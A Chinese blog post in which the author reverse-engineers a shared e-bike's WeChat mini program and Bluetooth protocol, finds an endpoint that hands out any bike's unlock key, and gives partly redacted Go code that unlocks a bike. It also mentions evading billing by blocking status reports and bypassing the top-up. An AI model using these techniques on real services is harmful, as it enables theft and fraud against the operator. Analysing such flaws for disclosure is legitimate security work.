距离上一次三月份写博客,已经过了整整五个月了。
我在三月底的时候去南京打了一场 CTF 线下赛,顺带旅游了一波。四月份的时候…… 我,母胎单身 23 年的我,居然如愿以偿地脱单了。谈恋爱之后感觉每天的时间都过得飞快,各种出去吃吃喝喝逛逛,所以博客一直拖着没写。(当时也没啥东西写
六月份的时候我在余杭租的公寓到期了,再加上现在是在家远程弹性办公,我便搬到了杭州比较偏的地方住着,这里的房东都是附近的拆迁户,去年年底每个人都分到了好几套安置房,遂拿来出租给附近的学生和上班族,房租那叫一个低。
低房租的代价就是出门很不方便,最近的地铁站也要两公里。随着小区附近的基础设施逐渐完善,我发现家楼下有共享电单车了,每天晚上饿了可以骑着电单车到离家几公里的海底捞搓一顿。
不过这共享电单车比较坑,一次起充 20 元,时间久了,我难免有点心痒想试试手,有天晚上悄悄推了一辆车进电梯上楼,然后放家里客厅。开干!
因为怕惹上不该惹的麻烦,以下内容有部分修改和打码,敬请谅解。
先从小程序下手
跟市面上的共享单车一样,解锁一辆共享电单车是通过手机扫描车身上的二维码,拉起微信小程序,然后在小程序内点击开锁。那么我们就先从小程序入手,看看它的开锁流程中是否有不安全的因素。
微信小程序的反编译解包在 GitHub 上有现成的工具,本文就不再赘述。我后面其实是用了更加取巧的方式轻松地拿到了小程序解包后的代码。基本上是在源码 JavaScript 上打包压缩过的程度,静态看变量跟流程也是十分轻松。
我们直接在全局代码中搜索开锁
二字,很快就找到了其小程序中的“开锁中” Toast 弹窗,弹窗的回调就是调用蓝牙发送开锁的操作:
(wx.showToast({
title: "开锁中",
icon: "loading",
mask: !0,
duration: 1e5
}), e.checkToken(function(o) {
o.length > 0 && e.operateBluetooth("open", e.globalData.machineNO, function(n) {
if (n) {
var a = e.globalData.baseUrl + "park/continueRide.do", l = {
token: o,
ble: !0,
orderSource: 3
};
t.request(a, l, function(o) {
o.ret && (wx.hideToast(), e.unlockAudio(), i && i());
});
} else t.showModal_nocancel("蓝牙操作失败,请重试!");
});
}))
发现重点是 operateBluetooth
函数,这个函数传入了三个入参,分别是 open
字符串、e.globalData.machineNO
也就是车辆编号,分析过后发现就是车辆二维码下面的数字,第三个参数是一个函数,看函数里面调用了 park/continueRide.do
接口,应该是向服务端上报车辆的开锁状态。这个函数应该就是个回调函数。
由这里我们其实也可以知道,车辆在开锁后是手机上的小程序上报开锁状态的,因为共享电单车本身是无法联网的,它的一切开锁关锁定位状态都需要用户的手机上报。如果我们在手机上 block 掉了这个发送给服务端的请求,就可以实现蓝牙开锁后不计费、车辆搬走后不更新定位等功能。
但秉着对技术的追求,我还是想继续深挖这个蓝牙通信的过程。往下跟 operateBluetooth
函数:
operateBluetooth: function(o, t, e) {
var a = this;
this.getSecretKey(t).then(function(n) {
a.bluetooth.start(o, n.machineNO, n.secret, function(o) {
a.saveLog(t, a.globalData.mobileBrand, a.globalData.mobileOS, JSON.stringify(a.bluetooth.getLog())),
console.log(a.bluetooth.getMachinevoltage()), e && e(o);
});
});
}
这里我们遇到了第一个“纸老虎”,有个 getSecretKey
函数,它的函数入参 o
,就是上面 operateBluetooth
的第二个参数 t
,也就是车辆的编号。这个函数在请求服务端获取当前车辆的秘钥!
抱着试一试的想法,我构造了下请求,第一个 token
参数是小程序抓包得到的当前用户登录后获得的 Token,userCode
传入电单车编号…… 结果居然真的成功给我返回车辆的秘钥。
我又用车辆定位的接口获取了其它的车辆编号传入这个接口,居然也能返回给我对应车辆的秘钥。也就是它后端完全没有校验该车是否为被我租借的状态,我可以请求接口拿任意车的秘钥开锁。
可见它该防的没防住,所以我才称之为“纸老虎”。
getSecretKey: function(o) {
var e = this;
return new Promise(function(a, n) {
var l = e.globalData.baseUrl + "/machine/getBleSecret.do";
e.checkToken(function(e) {
if (e.length > 0) {
var n = {
token: e,
userCode: o
};
t.request(l, n, function(o) {
console.log("获取的秘钥", o.data), a(o.data);
});
} else wx.hideToast();
});
});
},
又是 BLE
拿到了车辆的秘钥,剩下的就好办了。我们继续跟 a.bluetooth.start
函数:
this.start = function(e, n, c, l) {
A(), i = e, M = c, C = l, t.log(n, o, "operate:", i), W(function() {
n == o && r && i ? R() : (o = n, r = null, O());
});
其中 e = “open” 字符串,n = 车辆编号,c = 上面拿到的车辆秘钥,l 又是个执行成功后的回调函数。W
函数调用微信小程序 SDK 中的 wx.openBluetoothAdapter
方法初始化蓝牙,之后的三元运算符进入 O
函数,O
调用 F
函数,F
函数开始搜索蓝牙设备。
我一看,好家伙,这不是跟我前年搞得小米手环获取心跳的文章一样嘛(https://github.red/miband-heart-rate/),这共享电单车也是使用的蓝牙 BLE 协议。
直接上 Go 的 github.com/JuulLabs-OSS/ble
库,按如下步骤一把梭。
1. 搜索设备
2. 搜索 Services
3. 搜索 Characteristics
4. 订阅,读写消息
搜索设备
我首先使用 Bluetility 搜索附近的设备,发现没有设备名类似共享电单车的设备。看了下小程序源码设备发现这块:
wx.onBluetoothDeviceFound(function(n) {
var l = n.devices[0];
if (l && l.advertisData && 0 != l.advertisData.byteLength) {
var s = e.encrypt(e.ab2hex(l.advertisData).slice(4, 13));
t.log("搜索到的设备编号:" + s + ",目标:" + o), s == o && (Q(), clearInterval(c), c = null,
r = l.deviceId, t.log("deviceId:", r), "open" == i || "close" == i ? R() : C && C(!0));
}
});
可以看到它将蓝牙设备的 advertisData
,运算后与start
函数中设置的 o
变量(车辆编号)进行比较,如果相同则表明这个设备是我们要找的对应编号的共享电单车。
这个 advertisData
的运算又是 encrypt
又是 ab2hex
,我直接全部喂给 GPT-4 让其给我生成对应的 Go 代码,顺便再让他帮忙生成一下 decrypt
和 hex2ab
函数供我反推验证。整个过程十分舒服。
搜索 Services
连上设备后,根据小程序源码,配合使用 Bluetility,我们需要搜索 fef6
这个 Services。
搜索 Characteristics
使用 Bluetility,我们能得出哪个 Characteristics 是只读的,哪个是可写的。我们往可写的里发送数据。
发送数据
连接成功后,首先是执行 N
函数,回调 P
函数。N
函数中调了 G
函数,然后调了 H
函数,后面掉用了 j
函数,分包发送数据。这里是第一次连接的时候的握手包。根据 JavaScript 代码构造对应的 Go []byte
即可。
握手结束后回调的 P
函数发送开锁命令:
P = function o(c) {
var r = e.getSequenceId(u);
u++;
var l = "";
"open" === c ? l = "03 00 02 01 00" : "close" === c && (l = "03 00 01 01 01");
var s = e.header(l, 0, "00", r) + l.replace(/\s+/g, "");
t.log("发送" + c + "指令", s), K(s), I = setTimeout(function() {
0 == B ? (t.log("设备未响应,自动重发"), B++, o(i)) : (t.log("设备未响应"), wx.hideLoading(), n.showModal("设备未响应,是否重新发送指令?", function() {
t.log("手动重发ctrl"), wx.showLoading({
title: "开锁中"
}), o(i);
}, function() {
t.end(function() {
C && C(!1);
});
}));
}, 5e3);
}
可以看到拼接好的消息体 s
变量传入了 K
函数进行字符串转十六进制,然后分包发送。
综上所述,最终的 Go 代码如下,相关数据包以及变量内容已经隐去:
// Copyright 2023 E99p1ant. All rights reserved.
package main
import (
"context"
"fmt"
"os"
"strings"
"time"
"github.com/JuulLabs-OSS/ble"
"github.com/JuulLabs-OSS/ble/darwin"
)
var r = []rune{53, 'R', 'E', 'D', 'A', 'C', 'T', 'E', 'D', 57, 69, 56, 70, 55, 52, 49, 48}
func encrypt(t string) string {
t = strings.ToUpper(t)
e := len(t)
if e > 16 {
return ""
}
var buffer strings.Builder
for a := 0; a < e; a++ {
for o := 0; o < 16; o++ {
if rune(t[a]) == r[o] { // assuming r is defined somewhere as an array
buffer.WriteRune(rune(42 + o))
}
}
}
return buffer.String()
}
func ab2hex(t []byte) string {
var hexStr string
for _, b := range t {
hexStr += fmt.Sprintf("%02x", b)
}
return hexStr
}
const machineNo = "[REDACTED]"
func main() {
mode := os.Args[1]
d, err := darwin.NewDevice()
if err != nil {
panic("new device")
}
ble.SetDefaultDevice(d)
ctx := context.Background()
client, err := ble.Connect(ctx, func(a ble.Advertisement) bool {
manufacturerData := a.ManufacturerData()
hexStr := ab2hex(manufacturerData)
if len(hexStr) < 13 {
return false
}
slicedStr := hexStr[4:13]
encryptedStr := encrypt(slicedStr)
if encryptedStr == machineNo {
fmt.Printf("%s - %s - %s\n", a.LocalName(), a.Addr().String(), encryptedStr)
return true
}
return false
})
if err != nil {
panic(err)
}
services, err := client.DiscoverServices(nil)
if err != nil {
panic(err)
}
var targetService *ble.Service
for _, service := range services {
service := service
uuid := service.UUID.String()
if uuid == "fef6" {
targetService = service
}
}
characteristics, err := client.DiscoverCharacteristics(nil, targetService)
if err != nil {
panic(err)
}
var readCharacteristic *ble.Characteristic
var writeCharacteristic *ble.Characteristic
for _, characteristic := range characteristics {
characteristic := characteristic
if characteristic.Property == 18 {
readCharacteristic = characteristic
}
if characteristic.Property == 22 {
writeCharacteristic = characteristic
}
// 18 - read, 20 - write
fmt.Println(characteristic.UUID.String())
}
if err := client.Subscribe(readCharacteristic, false, func(req []byte) {
fmt.Println("response: " + string(req))
}); err != nil {
panic(err)
}
unlock := []byte{170, 'R', 'E', 'D', 'A', 'C', 'T', 'E', 'D', 3, 0, 2, 1, 0}
lock := []byte{170, 'R', 'E', 'D', 'A', 'C', 'T', 'E', 'D', 3, 0, 1, 1, 1}
heartBeats := [][]byte{
{170, 'R', 'E', 'D', 'A', 'C', 'T', 'E', 'D', 2, 0, 1, 32, 10, 172,
246, 82, 185, 236, 169, 10},
{216, 'R', 'E', 'D', 'A', 'C', 'T', 'E', 'D', 130, 42, 86, 39, 22, 190,
18, 174, 90, 66, 71, 56},
{135, 160, 58, 30},
}
var data []byte
if mode == "lock" {
data = lock
} else {
data = unlock
}
payloads := append(heartBeats, data)
for _, p := range payloads {
if err := client.WriteCharacteristic(writeCharacteristic, p, true); err != nil {
panic(err)
}
time.Sleep(200 * time.Millisecond)
}
if err := client.CancelConnection(); err != nil {
panic(err)
}
<-client.Disconnected()
}
编译运行该 Go 程序,程序蓝牙找到共享电单车然后就开锁了~
效果还是相当帅的。
最后说几句
所以综上,这个共享电单车最大的问题就是那个查询车辆秘钥的接口存在水平越权,可以获取任意车辆的秘钥进行开锁,而没有确认用户的支付状态。之前也尝试看过酒店房间里的蓝牙自动贩卖机,有的是会校验商品的购买状态,并且每一次开锁的 Secret 都会变,有的就无脑中间人抓包改下就行,连 Secret 都没有。
同时,文章开头提到的小程序 20 元起充,其实抓个包也能很简单的 bypass。
但我是遵纪守法的好市民,我现在出门也还是老老实实地扫码充值骑车哦,等后面买车了其实也用不上那些共享电单车了。嘻嘻。
话说我搞完这些后,抬回家的共享电单车一直停在楼道懒得再抬下去还掉。拖到最后,这块片区的运营给我的手机又是发短信又是电话,问我住哪,然后亲自上来把停在楼道的电单车搬走了,给我吓得以为来查水表了。看来私自改车锁车藏车在他们眼里已经见怪不怪了……